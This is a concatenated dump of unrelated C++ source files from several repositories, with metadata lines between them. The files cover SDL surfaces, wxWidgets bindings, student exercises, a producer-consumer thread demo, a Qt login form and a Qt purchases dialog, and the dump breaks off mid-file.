Uint32 Surface::getGoodFormatColor( Uint8 _r, Uint8 _g, Uint8 _b )
{
/*
Retorna a cor passada no formato da SDL_Surface* 'sdlSurfacePtr'
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
return SDL_MapRGB (sdlSurfacePtr->format, _r, _g, _b );
}
//-----------------------------------------------------------------------------------------------------------------------
SDL_Surface* Surface::getDisplayFormat( SDL_Surface* _surface )
{
/*
Retorna uma nova SDL_Surface* criada através da SDL_Surface* '_surface'
*/
// verificar se existe alguma surface
assert(_surface);
SDL_Surface* a = SDL_DisplayFormat( _surface );
if( 0 == a )
throw Util::GeneralException("Erro no SDL_DisplayFormat",SDL_GetError());
return a;
}
//-----------------------------------------------------------------------------------------------------------------------
bool Surface::lock()
{
if( SDL_MUSTLOCK(sdlSurfacePtr) ) {
if( SDL_LockSurface(sdlSurfacePtr) == 0 )
return true;
return false;
}
return true;
}
//-----------------------------------------------------------------------------------------------------------------------
bool Surface::unlock()
{
if( SDL_MUSTLOCK(sdlSurfacePtr) )
SDL_UnlockSurface(sdlSurfacePtr);
return true;
}
//-----------------------------------------------------------------------------------------------------------------------
|
264981cd0e719784b5a84b0025b5f2e7404afac9
|
c1b03b59b3974058e3dc4e3aa7a46a7ab9cc3b29
|
/src/module-wx/Class_wx_ToolBar.h
|
fda0b7e287c49a0d4757f9f7c555292619cee51a
|
[] |
no_license
|
gura-lang/gura
|
972725895c93c22e0ec87c17166df4d15bdbe338
|
03aff5e2b7fe4f761a16400ae7cc6fa7fec73a47
|
refs/heads/master
| 2021-01-25T08:04:38.269289
| 2020-05-09T12:42:23
| 2020-05-09T12:42:23
| 7,141,465
| 25
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,675
|
h
|
Class_wx_ToolBar.h
|
//----------------------------------------------------------------------------
// wxToolBar
// extracted from toolbar.tex
//----------------------------------------------------------------------------
#ifndef __CLASS_WX_TOOLBAR_H__
#define __CLASS_WX_TOOLBAR_H__
Gura_BeginModuleScope(wx)
//----------------------------------------------------------------------------
// Class declaration for wxToolBar
//----------------------------------------------------------------------------
Gura_DeclareUserClass(wx_ToolBar);
//----------------------------------------------------------------------------
// Object declaration for wxToolBar
//----------------------------------------------------------------------------
class Object_wx_ToolBar : public Object_wx_ToolBarBase {
public:
Gura_DeclareObjectAccessor(wx_ToolBar)
public:
inline Object_wx_ToolBar(wxToolBar *pEntity, GuraObjectObserver *pObserver, bool ownerFlag) :
Object_wx_ToolBarBase(Gura_UserClass(wx_ToolBar), pEntity, pObserver, ownerFlag) {}
inline Object_wx_ToolBar(Class *pClass, wxToolBar *pEntity, GuraObjectObserver *pObserver, bool ownerFlag) :
Object_wx_ToolBarBase(pClass, pEntity, pObserver, ownerFlag) {}
virtual ~Object_wx_ToolBar();
virtual Object *Clone() const;
virtual String ToString(bool exprFlag);
inline wxToolBar *GetEntity() {
return dynamic_cast<wxToolBar *>(_pEntity);
}
inline wxToolBar *ReleaseEntity() {
wxToolBar *pEntity = GetEntity();
InvalidateEntity();
return pEntity;
}
inline bool IsInvalid(Signal &sig) const {
if (_pEntity != nullptr) return false;
SetError_InvalidWxObject(sig, "wxToolBar");
return true;
}
};
Gura_EndModuleScope(wx)
#endif
|
0f4373fc1814aed62975d12d6ffcf743bd15da4b
|
3fe692c3ebf0b16c0a6ae9d8633799abc93bd3bb
|
/Contests/NOIp Simultaion 2018/E.cpp
|
de644fb685737c305b347e4fa88862bf56d9cc82
|
[] |
no_license
|
kaloronahuang/KaloronaCodebase
|
f9d297461446e752bdab09ede36584aacd0b3aeb
|
4fa071d720e06100f9b577e87a435765ea89f838
|
refs/heads/master
| 2023-06-01T04:24:11.403154
| 2023-05-23T00:38:07
| 2023-05-23T00:38:07
| 155,797,801
| 14
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 395
|
cpp
|
E.cpp
|
// E.cpp
#include <iostream>
#include <cstdio>
using namespace std;
const int maxn = 1000200;
int arr[maxn];
int n;
int main()
{
scanf("%d", &n);
for (int i = 1; i <= n; i++)
scanf("%d", &arr[i]);
int min_val = arr[1];
int ans = 0;
for (int i = 2; i <= n; i++)
ans = max(arr[i] - min_val, ans), min_val = min(min_val, arr[i]);
cout << ans;
return 0;
}
|
a17d032984535ab1b18d43875051585d316c40b2
|
089ea2c057e56517ccac4a4fc5c3080dc7ecb6cb
|
/13_44_String.cpp
|
1539857775e79e707f57846cfa6c166c06e1f7eb
|
[] |
no_license
|
mmz-zmm/MyCppPrimer
|
83b246eb157bd7d3f948d9837b8bb864820aea63
|
d7ff2b0b3072b2c5a2d91dcf26fa7ad1c22a1a35
|
refs/heads/master
| 2022-03-29T05:39:18.245386
| 2019-11-17T15:22:35
| 2019-11-17T15:22:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,979
|
cpp
|
13_44_String.cpp
|
#include "include/13_44_String.h"
#include <memory>
#include <cstring>
#include <iostream>
#include <algorithm>
std::allocator<char> String::alloc;
void String::push_back(char s)
{
chk_n_alloc();
alloc.construct(--first_free, s);
alloc.construct(++first_free, '\0');
first_free++;
}
std::pair<char*, char*>String::alloc_n_copy(const char* b, const char* e)
{
auto data = alloc.allocate(e - b);
return {data, std::uninitialized_copy(b, e, data)};
}
void String::range_initialize(const char* b, const char * e)
{
auto newdata = alloc_n_copy(b, e);
elements = newdata.first;
first_free = cap = newdata.second;
}
void String::free()
{
if(elements)
{
std::for_each(elements, first_free, [this](char &c) { alloc.destroy(&c); });
alloc.deallocate(elements, cap - elements);
}
}
String::~String()
{
free();
}
String::String(const char *ch)
{
auto len = std::strlen(ch);
range_initialize(ch, ch + len + 1);
}
String::String(const String & s)
{
range_initialize(s.elements, s.first_free);
std::cout << "copy constructor\n";
}
String::String(String && s) noexcept
: elements(s.elements), first_free(s.first_free),cap(s.cap)
{
s.elements = s.first_free = s.cap = nullptr;
std::cout << "move consructor\n";
}
String& String::operator=(const String& rhs)
{
auto data = alloc_n_copy(rhs.elements, rhs.first_free);
free();
elements = data.first;
first_free = data.second;
std::cout << "copy-assignment\n";
return *this;
}
String& String::operator=(String && rhs)
{
if(this != &rhs)
{
free();
elements = rhs.elements;
first_free = rhs.first_free;
cap = rhs.cap;
rhs.first_free = rhs.cap = nullptr;
}
std::cout << "move-assignment\n";
return *this;
}
void String::reallocate()
{
auto newcapacity = size() ? 2 * size() : 1;
auto newdata = alloc.allocate(newcapacity + 1);
auto dest = newdata;
auto elem = elements;
for (; elem != first_free; )
alloc.construct(dest++, std::move(*elem++));
free();
elements = newdata;
first_free = dest;
cap = elements + newcapacity + 1;
}
bool operator==(const String &lhs, const String &rhs)
{
return (lhs.size() == rhs.size()) &&
std::equal(lhs.begin(), lhs.end(), rhs.begin());
}
bool operator!=(const String &lhs, const String &rhs)
{
return !(lhs == rhs);
}
bool operator<(const String &lhs, const String &rhs)
{
return std::lexicographical_compare(lhs.begin(), lhs.end(), rhs.begin(), rhs.end());
}
char &String::operator[](size_t n)
{
if( n > size())
throw std::out_of_range("out of range");
return elements[n];
}
const char &String::operator[](size_t n) const
{
if( n > size())
throw std::out_of_range("out of range");
return elements[n];
}
|
1819858c1484c8db94f5ea8fb3e18eb9eee67e74
|
0b9bddb4d8faac70752a0ff2bdbc542e393222ca
|
/main.cpp
|
9d0d7c4dc816f004a36db70f3845f554bdfce065
|
[] |
no_license
|
briandrichey/POSIX_Consumer-Producer_A4
|
bd1a7efb3f5f654e823e2afb187a57aa24097f15
|
daf1c9aa2d9362aa39f87f7db8a20bb9b7a1c77d
|
refs/heads/main
| 2023-08-30T10:28:49.570937
| 2021-11-17T20:58:49
| 2021-11-17T20:58:49
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,740
|
cpp
|
main.cpp
|
/*
_ _ _ _ _
| |_| |__ __ _ _ __ | | _____ __ _(_)_ _(_)_ __ __ _
| __| '_ \ / _` | '_ \| |/ / __|/ _` | \ \ / / | '_ \ / _` |
| |_| | | | (_| | | | | <\__ \ (_| | |\ V /| | | | | (_| |
\__|_| |_|\__,_|_| |_|_|\_\___/\__, |_| \_/ |_|_| |_|\__, |
|___/ |___/
_
' _<_\
/'/o)o)
\ \_/\/ ,-----------------.
,.-=--.-. |.(____\ | Nothing says |
;:_ \ | `:.`---' | "Happy |
,-' `. ' \ \\ / | | Thanksgiving" |
.' -. `_ __'|/ '| | Like a Honey |
,' `. ,,-' | | | | Glazed Ham! |
|'` .__ ,--' | '`'\ `-----------------'
`._ _/' ,/ | ||_
| `...' |--....,-'__\.__
` | ,' \ -|| -:;
| | `-' ; ||_;--"
`. | | | ;-''
`. \___ / /-._;,'
;,-' , / /
/ ,-'_ / _' | ,'
| ,' ,' / : \_,,'MJP
| .'_' ,' || '.
'/',;-' _ /\ --.` ..___
' ; .`--. `\ _>.
. ,' `\'. \\'''
' -' '
*/
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#include <time.h>
#include "buffer.h"
int insert_item(buffer_item item);
int remove_item(buffer_item *item);
void display_buffer();
sem_t emptySem, fullSem;
pthread_mutex_t mutex;
buffer_item item;
/*Producer Thread*/
void* producer(void* param) {
buffer_item prodItem = item;
while (true) {
//sleep for random time
sleep(rand() % 10);
//generate random number
prodItem = rand() % 100;
sem_wait(&emptySem); //aquire the semaphore
if (insert_item(prodItem)) //critical section
std::cout << "error producing item" << '\n';
else
std::cout << "producer produced item: " << prodItem << '\n';
display_buffer();
std::cout << '\n';
sem_post(&fullSem); //release the semaphore
}
}
/*Consumer Thread*/
void* consumer(void* param) {
buffer_item item;
while (true) {
//sleep for random time
sleep(rand() % 10);
//generate random number
sem_wait(&fullSem); //aquire the semaphore
if (remove_item(&item))
std::cout << "error consuming item" << '\n'; //critical section
else
std::cout << "consumer consumed item: " << item << '\n';
display_buffer();
std::cout << '\n';
sem_post(&emptySem); //release the semaphore
}
}
int main(int argc, char* argv[]) {
srand(time(NULL));
// 1. Get CLI argv[1] argv[2] argv[3] -> sleep time, number of producers, number of consumers
//--- should probably do error checking on the input ---
int sleepTime = atoi(argv[1]);
int producerCount = atoi(argv[2]);
int consumerCount = atoi(argv[3]);
std::cout << "Step 1 done" << '\n';
// 2. Init semaphores, mutex, buffers
sem_init(&emptySem, 0, 0);
sem_init(&fullSem, 0, BUFFER_SIZE);
pthread_mutex_init(&mutex, NULL);
pthread_t producers[producerCount];
pthread_t consumers[consumerCount];
std::cout << "Step 2 done" << '\n';
// 3. Create producer threads
for (int i = 0; i < producerCount; i++) {
//create producer
pthread_create(&producers[i], NULL, producer, NULL);
}
std::cout << "Step 3 done" << '\n';
// 4. Create consumer threads
for (int i = 0; i < consumerCount; i++) {
//create consumers
pthread_create(&consumers[i], NULL, consumer, NULL);
}
std::cout << "Step 4 done" << '\n';
// 5. Sleep
sleep(sleepTime);
std::cout << "Step 5 done" << '\n';
// 6. Exit
return 0;
}
|
c6e9bdb6992ca91bb247640832f10dff8d85ec67
|
17c9d963215bf630b22f1a36e05880c0938719c9
|
/BOJ 1453.cpp
|
27c5910702847b6ac1987b584149fe8533b2b598
|
[] |
no_license
|
Jae-Yeon/ProblemSolving
|
5f099ad7546c491f9fc24f828f735727c8aee4ce
|
840e7017798cd5d8d9d1a0e96796d526021bbb1f
|
refs/heads/master
| 2023-04-14T00:14:57.288770
| 2023-04-09T14:43:56
| 2023-04-09T14:43:56
| 128,633,772
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 259
|
cpp
|
BOJ 1453.cpp
|
//백준 온라인 저지 1453번 피시방
#include<stdio.h>
int a[105];
int n, cnt;
int main() {
scanf("%d", &n);
for (int i = 1; i <= n; i++) {
int m;
scanf("%d", &m);
if (a[m] == 1) cnt++;
else a[m] = 1;
}
printf("%d\n", cnt);
return 0;
}
|
3af3e40dcfd5b7098f8cfd9be2a4df3e133d4669
|
536d9f483fa32939209cae370ee4cebefc97faec
|
/king-of-new-york/InteractivePlayerStrategyBuilder.cpp
|
83b23d7e4ae45ef75d3158460dee75a67a458bbf
|
[] |
no_license
|
guillaumerm/king-of-new-york
|
c91ad8c44107c27cf2ea2eae04e431fd6b1970f4
|
7b0605e401c191b9933782bf26a01b058ad543e6
|
refs/heads/master
| 2020-03-29T04:24:06.674071
| 2018-12-03T03:31:07
| 2018-12-03T03:31:07
| 149,529,904
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 628
|
cpp
|
InteractivePlayerStrategyBuilder.cpp
|
#include "InteractivePlayerStrategyBuilder.h"
void InteractivePlayerStrategyBuilder::buildDiceRollingStrategy() {
this->strategy->setDiceRollingStrategy(new InteractiveDiceRollingStrategy);
}
void InteractivePlayerStrategyBuilder::buildDiceResolvingStrategy() {
this->strategy->setDiceResolvingStrategy(new InteractiveDiceResolvingStrategy);
}
void InteractivePlayerStrategyBuilder::buildMovingStrategy() {
this->strategy->setMovingStrategy(new InteractiveMovingStrategy);
}
void InteractivePlayerStrategyBuilder::buildCardBuyingStrategy() {
this->strategy->setBuyingCardsStrategy(new InteractiveBuyingCardsStrategy);
}
|
6578137f3bf876a84e3d481312995527c45015de
|
10cc08c517ec3cb1b1d3e4c86c4896d6a812e706
|
/pi/src/sp1s/src/startpwm.h
|
ac1537a8ab120651884724a7ee97dbe6751f141a
|
[] |
no_license
|
quhezheng/ros
|
74c5d867226892d58c02c7f61de6b589c160f358
|
169bc75f5b46042c8df0b717b71d73451979ca51
|
refs/heads/master
| 2021-01-22T12:08:23.397904
| 2015-03-28T14:35:47
| 2015-03-28T14:35:47
| 28,339,106
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,386
|
h
|
startpwm.h
|
#pragma once
#include <wiringPi.h>
#include "veldetect.h"
#include "wheelpwm.h"
#include "dbl_cmp.h"
class CStartPwm
{
public:
CStartPwm(CWheelpwm * leftWheel, CWheelpwm * rightWheel,
CVeldetect * pLinearVel)
{
m_leftWheel = leftWheel;
m_rightWheel = rightWheel;
m_pLinearVel = pLinearVel;
}
void TestStartPwm(int &leftPwm, int &rightPwm)
{
leftPwm = 5;
rightPwm = 5;
m_pLinearVel->Reset();
double leftDist = 0, rightDist = 0;
/*
while(DBLCMPEQ(leftDist, 0))
{
leftPwm++;
m_leftWheel->forward(leftPwm);
delay(500);
leftDist = m_pLinearVel->distanceLeft();
}
m_leftWheel->forward(0);
m_pLinearVel->Reset();
while(DBLCMPEQ(rightDist, 0))
{
rightPwm++;
m_rightWheel->forward(rightPwm);
delay(500);
rightDist = m_pLinearVel->distanceRight();
}
m_rightWheel->forward(0);*/
while(DBLCMPLT(leftDist, 0.05)
|| DBLCMPLT(rightDist, 0.05) )
{
if(DBLCMPLT(leftDist, 0.05))
leftPwm++;
if(DBLCMPLT(rightDist, 0.05))
rightPwm++;
m_leftWheel->forward(leftPwm);
m_rightWheel->forward(rightPwm);
delay(500);
leftDist = m_pLinearVel->distanceLeft();
rightDist = m_pLinearVel->distanceRight();
}
m_leftWheel->forward(0);
m_rightWheel->forward(0);
m_pLinearVel->Reset();
delay(500);
}
private:
CWheelpwm * m_leftWheel;
CWheelpwm * m_rightWheel;
CVeldetect * m_pLinearVel;
};
|
9e1344fe941216a479dfbbff6e6414a6c7059b93
|
3310525cc8be475159d5f715fd3220a2d88fa02d
|
/160330_Bullet/enemy.h
|
4a790e5c06b105514b2f59312ab2238f33f4766c
|
[] |
no_license
|
LeeJiu/study_code
|
f0398ec7fc3609f1e2b351dbafc5dd57bf832ceb
|
f23e0097569385f1a50e86435035a6e7411196ae
|
refs/heads/master
| 2021-01-17T04:39:42.049563
| 2016-09-07T08:45:47
| 2016-09-07T08:45:47
| 53,474,826
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 729
|
h
|
enemy.h
|
#pragma once
#include "gameNode.h"
enum tagPattern
{
PATTERN_1,
PATTERN_2
};
class enemy : public gameNode
{
protected:
image* _imageName;
RECT _rc;
tagPattern _pattern;
int _currentFrameX;
int _currentFrameY;
int _count;
int _fireCount;
int _rndFireCount;
bool _isBoss;
public:
enemy();
~enemy();
HRESULT init();
virtual HRESULT init(const char* imageName, POINT position);
void release();
void update();
void render();
virtual void move();
void draw();
virtual bool bulletCountFire();
virtual bool isBoss() { return _isBoss; }
inline RECT getRect() { return _rc; }
virtual void setPattern(tagPattern pattern) { _pattern = pattern; }
virtual tagPattern getPattern() { return _pattern; }
};
|
206e90303f3db866dd9e7ae7cde54ec203470cc0
|
65452ee0ec7ed45cdcca786dcdefd438025aeb4c
|
/linux-base/libs/share-rt/main.cpp
|
68d6e5f429f68217651f3a3303dce97e408d977a
|
[] |
no_license
|
areshta/cpp-edu
|
3c939e1c10cf31a4137fd40171f6f59868a34157
|
54df315c8a6def839e1cb168eac3a02c30f12247
|
refs/heads/master
| 2023-01-11T11:52:06.318053
| 2023-01-04T14:14:21
| 2023-01-04T14:14:21
| 88,529,055
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 829
|
cpp
|
main.cpp
|
#include <iostream>
#include <dlfcn.h>
#include "main.h"
using namespace std;
int main()
{
void *lib_handle;
typedef void (*inpType)(int *, int *);
inpType fnInput;
char *error;
lib_handle = dlopen("./lib/libctest.so", RTLD_LAZY);
if (!lib_handle)
{
cerr << dlerror() << endl;
exit(1);
}
fnInput = (inpType)dlsym(lib_handle, "inputer");
if ((error = dlerror()) != NULL)
{
cerr << error << endl;
exit(1);
}
typedef int (*summType)(int , int );
summType fnSummator;
fnSummator = (summType)dlsym(lib_handle, "summator");
if ((error = dlerror()) != NULL)
{
cerr << error << endl;
exit(1);
}
int a = 0;
int b = 0;
(*fnInput)(&a, &b);
cout << (*fnSummator)(a, b) << endl;
return 0;
}
|
d98079be463edb0ca21d53edaa1afd52fdb968c1
|
5622ad3b3b4e302d283f44fba466dfe04d1d7a0b
|
/src/server/include/ThreadPool.h
|
9f68be47d793386d5fc5b4524a1c71f38073fbba
|
[] |
no_license
|
giladmadmon/ex7_reversi
|
7686ee14ce2e4c4bb9f0b121202b5574819a3024
|
7aeb6d072940c7736e4f04fff46242392251b6b2
|
refs/heads/master
| 2021-05-10T09:47:32.351123
| 2018-01-25T18:02:40
| 2018-01-25T18:02:40
| 118,937,307
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,074
|
h
|
ThreadPool.h
|
/**************
* Student name: Gilad Madmon
* Student name: Dafna Magid
* Exercise name: Exercise 7
**************/
#ifndef TASK_07_THREADPOOL_H
#define TASK_07_THREADPOOL_H
#include "Task.h"
#include <queue>
#include <pthread.h>
using namespace std;
class ThreadPool {
public:
/**
* constructor
*
* @param threads_num the number of threads to create in the pool.
*/
ThreadPool(int threads_num);
/**
* add a task for the thread pool to execute.
*
* @param task the task to execute.
*/
void addTask(Task *task);
/**
* terminate the thread pool by canceling the threads.
*/
void terminate();
/**
* destructor
*
* destruct all the unfinished tasks.
*/
virtual ~ThreadPool();
private:
int threads_num_;
queue<Task *> tasksQueue;
pthread_t *threads;
/**
* make each thread execute a task in its turn.
*/
void executeTasks();
bool stopped;
pthread_mutex_t lock;
/**
* the operation of each thread in the thread pool.
*/
static void *execute(void *arg);
};
#endif //TASK_07_THREADPOOL_H
|
21f7b0290b8ac152c2658f1a342222e26df5338a
|
2aa7bec41df19555583353ba5216c05b6ec1f5fa
|
/Coursework first/Project/Client project/form.cpp
|
aead7f83b957d727e3b3c745871202fc5d75e5ac
|
[] |
no_license
|
Mauz33/progworks
|
c67dc58b4516f5ef60f64cdd425e197f8566781d
|
5fdbab5b4a11ac88caf76bf72247c4ed15e4ca88
|
refs/heads/master
| 2020-07-27T12:42:45.818552
| 2020-06-20T02:23:09
| 2020-06-20T02:23:09
| 209,092,929
| 0
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,713
|
cpp
|
form.cpp
|
#include "form.h"
#include "ui_form.h"
Form::Form(QTcpSocket* socket,QWidget *parent) :
QDialog(parent),
ui(new Ui::Form)
{
this->socket=socket;
ui->setupUi(this);
QRegExp login("^[a-zA-z0-9]{1,16}");
QRegExp password("^[a-zA-z0-9]{1,22}");
QRegExpValidator *validatorLogin = new QRegExpValidator(login, this);
QRegExpValidator *validatorPassword = new QRegExpValidator(password, this);
ui->logIn_login->setValidator(validatorLogin);
ui->logIn_password->setValidator(validatorPassword);
ui->reg_login->setValidator(validatorLogin);
ui->reg_password1->setValidator(validatorPassword);
ui->reg_password2->setValidator(validatorPassword);
}
Form::~Form()
{
delete socket;
delete ui;
}
void Form::reg_setColorLoginError()
{
ui->reg_login->setStyleSheet("border: 2px solid red");
}
void Form::reg_setColorLoginSuccess()
{
ui->reg_login->setStyleSheet("border: 1px solid black");
}
void Form::log_setColorFieldError()
{
ui->logIn_login->setStyleSheet("border: 2px solid red");
ui->logIn_password->setStyleSheet("border: 2px solid red");
}
void Form::log_setColorFieldSuccess()
{
ui->logIn_login->setStyleSheet("border: 1px solid black");
}
void Form::cleanField()
{
ui->reg_login->setText("");
ui->reg_password1->setText("");
ui->reg_password2->setText("");
}
void Form::switchTabAfterReg()
{
ui->tabWidget->setCurrentIndex(0);
}
void Form::on_logIn_pushButton_clicked()
{
QString login = ui->logIn_login->text();
QString password = ui->logIn_password->text();
QByteArray QBstr;
socket->write(QBstr.append("auth " + login + " " +password));
}
void Form::on_reg_pushButton_clicked()
{
if(ui->reg_login->text().isEmpty() || ui->reg_password1->text().isEmpty() || ui->reg_password2->text().isEmpty())
{
QMessageBox::critical(this, "Error", "All fields must be filled in");
return;
}
QString login = ui->reg_login->text();
QString password1 = ui->reg_password1->text();
QString password2 = ui->reg_password2->text();
if(password1!=password2)
{
ui->reg_password1->setStyleSheet("border: 2px solid red");
ui->reg_password2->setStyleSheet("border: 2px solid red");
QMessageBox::critical(this, "Error", "Passwords do not match");
return;
}
ui->reg_password1->setStyleSheet("border: 1px solid black");
ui->reg_password2->setStyleSheet("border: 1px solid black");
QByteArray QBlogin, QBpassword1, QBpassword2;
socket->write(QBlogin.append("registr " + login + " " +password1 + " " + password2));
}
|
a826d10ee63ad605db89aea0105444ca4b61dc11
|
471f29d511854d157accb758fb60a9489765d9c3
|
/VivenciaManager3/companypurchasesui.cpp
|
cdb0956ab53acf37a0ea9c5fe35794a9f5b65f69
|
[
"MIT"
] |
permissive
|
vivencia/VivenciaManager3
|
fb0c4612e4da65cdea70bcf863b5affe9de9addd
|
b26e1313febeb2b6e9be102c91afba13c2c609b5
|
refs/heads/master
| 2020-12-25T17:00:57.396371
| 2018-01-30T12:36:44
| 2018-01-30T12:36:44
| 48,883,737
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 20,677
|
cpp
|
companypurchasesui.cpp
|
#include "companypurchasesui.h"
#include "global.h"
#include "ui_companypurchasesui.h"
#include "inventory.h"
#include "companypurchases.h"
#include "vmwidgets.h"
#include "vivenciadb.h"
#include "completers.h"
#include "vmnumberformats.h"
#include "suppliersdlg.h"
#include "vivenciadb.h"
#include "vmnotify.h"
#include "vmlistitem.h"
#include "searchui.h"
#include "system_init.h"
#include "heapmanager.h"
#include "fast_library_functions.h"
#include <QKeyEvent>
companyPurchasesUI* companyPurchasesUI::s_instance ( nullptr );
void deleteCompanyPurchasesUiInstance ()
{
heap_del ( companyPurchasesUI::s_instance );
}
enum btnNames { BTN_FIRST = 0, BTN_PREV = 1, BTN_NEXT = 2, BTN_LAST = 3, BTN_ADD = 4, BTN_EDIT = 5, BTN_DEL = 6, BTN_SEARCH = 7 };
static bool bEnableStatus[4] = { false };
companyPurchasesUI::companyPurchasesUI ( QWidget* parent )
: QDialog ( parent ), ui ( new Ui::companyPurchasesUI () ),
mbSearchIsOn ( false ), cp_rec ( new companyPurchases ( true ) ), widgetList ( INVENTORY_FIELD_COUNT + 1 ),
mFoundFields ( 0, 5 )
{
ui->setupUi ( this );
setupUI ();
const bool have_items ( VDB ()->getHighestID ( TABLE_CP_ORDER ) > 0 );
ui->btnCPEdit->setEnabled ( true );
ui->btnCPRemove->setEnabled ( have_items );
ui->btnCPNext->setEnabled ( have_items );
ui->btnCPFirst->setEnabled ( false );
ui->btnCPPrev->setEnabled ( have_items );
ui->btnCPLast->setEnabled ( have_items );
ui->txtCPSearch->setEditable ( have_items );
ui->btnCPSearch->setEnabled ( have_items );
cp_rec->readLastRecord ();
fillForms ();
Sys_Init::addPostRoutine ( deleteCompanyPurchasesUiInstance );
}
companyPurchasesUI::~companyPurchasesUI ()
{
heap_del ( cp_rec );
heap_del ( ui );
}
void companyPurchasesUI::showSearchResult ( vmListItem* item, const bool bshow )
{
if ( bshow )
{
if ( cp_rec->readRecord ( item->dbRecID () ) )
{
if ( !isVisible () )
showNormal ();
fillForms ();
}
}
for ( uint i ( 0 ); i < COMPANY_PURCHASES_FIELD_COUNT; ++i )
{
if ( item->searchFieldStatus ( i ) == SS_SEARCH_FOUND )
widgetList.at ( i )->highlight ( bshow ? vmBlue : vmDefault_Color, SEARCH_UI ()->searchTerm () );
}
}
void companyPurchasesUI::showSearchResult_internal ( const bool bshow )
{
for ( uint i ( 0 ); i < mFoundFields.count (); ++i )
widgetList.at ( i )->highlight ( bshow ? vmBlue : vmDefault_Color, SEARCH_UI ()->searchTerm () );
if ( bshow )
fillForms ();
}
void companyPurchasesUI::setTotalPriceAsItChanges ( const vmTableItem* const item )
{
setRecValue ( cp_rec, FLD_CP_TOTAL_PRICE, item->text () );
}
void companyPurchasesUI::setPayValueAsItChanges ( const vmTableItem* const item )
{
ui->txtCPPayValue->setText ( item->text () );
setRecValue ( cp_rec, FLD_CP_PAY_VALUE, item->text () );
}
void companyPurchasesUI::tableItemsCellChanged ( const vmTableItem* const item )
{
if ( item )
{
stringTable items ( recStrValue ( cp_rec, FLD_CP_ITEMS_REPORT ) );
items.changeRecord ( static_cast<uint>(item->row ()), static_cast<uint>(item->column ()), item->text () );
setRecValue ( cp_rec, FLD_CP_ITEMS_REPORT, items.toString () );
}
}
bool companyPurchasesUI::tableRowRemoved ( const uint row )
{
//TODO: maybe ask if user is certain about this action. Maybe, put the asking code under vmTableWidget::removeRow_slot ()
stringTable items ( recStrValue ( cp_rec, FLD_CP_ITEMS_REPORT ) );
qDebug () << items.toString();
items.removeRecord ( row );
qDebug () << items.toString();
setRecValue ( cp_rec, FLD_CP_ITEMS_REPORT, items.toString () );
return true;
}
void companyPurchasesUI::tablePaymentsCellChanged ( const vmTableItem* const item )
{
if ( item )
{
stringTable items ( recStrValue ( cp_rec, FLD_CP_PAY_REPORT ) );
items.changeRecord ( static_cast<uint>( item->row () ), static_cast<uint>( item->column () ), item->text () );
setRecValue ( cp_rec, FLD_CP_PAY_REPORT, items.toString () );
}
}
void companyPurchasesUI::saveWidget ( vmWidget* widget, const int id )
{
widget->setID ( id );
widgetList[id] = widget;
}
void companyPurchasesUI::setupUI ()
{
static_cast<void>( ui->btnCPAdd->connect ( ui->btnCPAdd, static_cast<void (QPushButton::*)( const bool )>( &QPushButton::clicked ),
this, [&] ( const bool checked ) { return btnCPAdd_clicked ( checked ); } ) );
static_cast<void>( ui->btnCPEdit->connect ( ui->btnCPEdit, static_cast<void (QPushButton::*)( const bool )>( &QPushButton::clicked ),
this, [&] ( const bool checked ) { return btnCPEdit_clicked ( checked ); } ) );
static_cast<void>( ui->btnCPSearch->connect ( ui->btnCPSearch, static_cast<void (QPushButton::*)( const bool )>( &QPushButton::clicked ),
this, [&] ( const bool checked ) { return btnCPSearch_clicked ( checked ); } ) );
static_cast<void>( ui->btnCPShowSupplier->connect ( ui->btnCPShowSupplier, static_cast<void (QToolButton::*)( const bool )>( &QToolButton::clicked ),
this, [&] ( const bool checked ) { return btnCPShowSupplier_clicked ( checked ); } ) );
static_cast<void>( ui->btnCPFirst->connect ( ui->btnCPFirst, &QPushButton::clicked, this, [&] () { return btnCPFirst_clicked (); } ) );
static_cast<void>( ui->btnCPPrev->connect ( ui->btnCPPrev, &QPushButton::clicked, this, [&] () { return btnCPPrev_clicked (); } ) );
static_cast<void>( ui->btnCPNext->connect ( ui->btnCPNext, &QPushButton::clicked, this, [&] () { return btnCPNext_clicked (); } ) );
static_cast<void>( ui->btnCPLast->connect ( ui->btnCPLast, &QPushButton::clicked, this, [&] () { return btnCPLast_clicked (); } ) );
static_cast<void>( ui->btnCPRemove->connect ( ui->btnCPRemove, &QPushButton::clicked, this, [&] () { return btnCPRemove_clicked (); } ) );
static_cast<void>( ui->btnClose->connect ( ui->btnClose, &QPushButton::clicked, this, [&] () { return hide (); } ) );
static_cast<void>( vmTableWidget::createPurchasesTable ( ui->tableItems ) );
saveWidget ( ui->tableItems, FLD_CP_ITEMS_REPORT );
ui->tableItems->setKeepModificationRecords ( false );
ui->tableItems->setParentLayout ( ui->layoutCPTable );
ui->tableItems->setCallbackForMonitoredCellChanged ( [&] ( const vmTableItem* const item ) {
return setTotalPriceAsItChanges ( item ); } );
ui->tableItems->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
return relevantKeyPressed ( ke ); } );
ui->tableItems->setCallbackForCellChanged ( [&] ( const vmTableItem* const item ) {
return tableItemsCellChanged ( item ); } );
ui->tableItems->setCallbackForRowRemoved ( [&] ( const uint row ) {
return tableRowRemoved ( row ); } );
static_cast<void>( vmTableWidget::createPayHistoryTable ( ui->tablePayments, this, PHR_METHOD ) );
saveWidget ( ui->tablePayments, FLD_CP_PAY_REPORT );
ui->tablePayments->setParentLayout ( ui->layoutCPTable );
ui->tablePayments->setCallbackForMonitoredCellChanged ( [&] ( const vmTableItem* const item ) {
return setPayValueAsItChanges ( item ); } );
ui->tablePayments->setCallbackForRelevantKeyPressed ( [&] ( const QKeyEvent* const ke, const vmWidget* const ) {
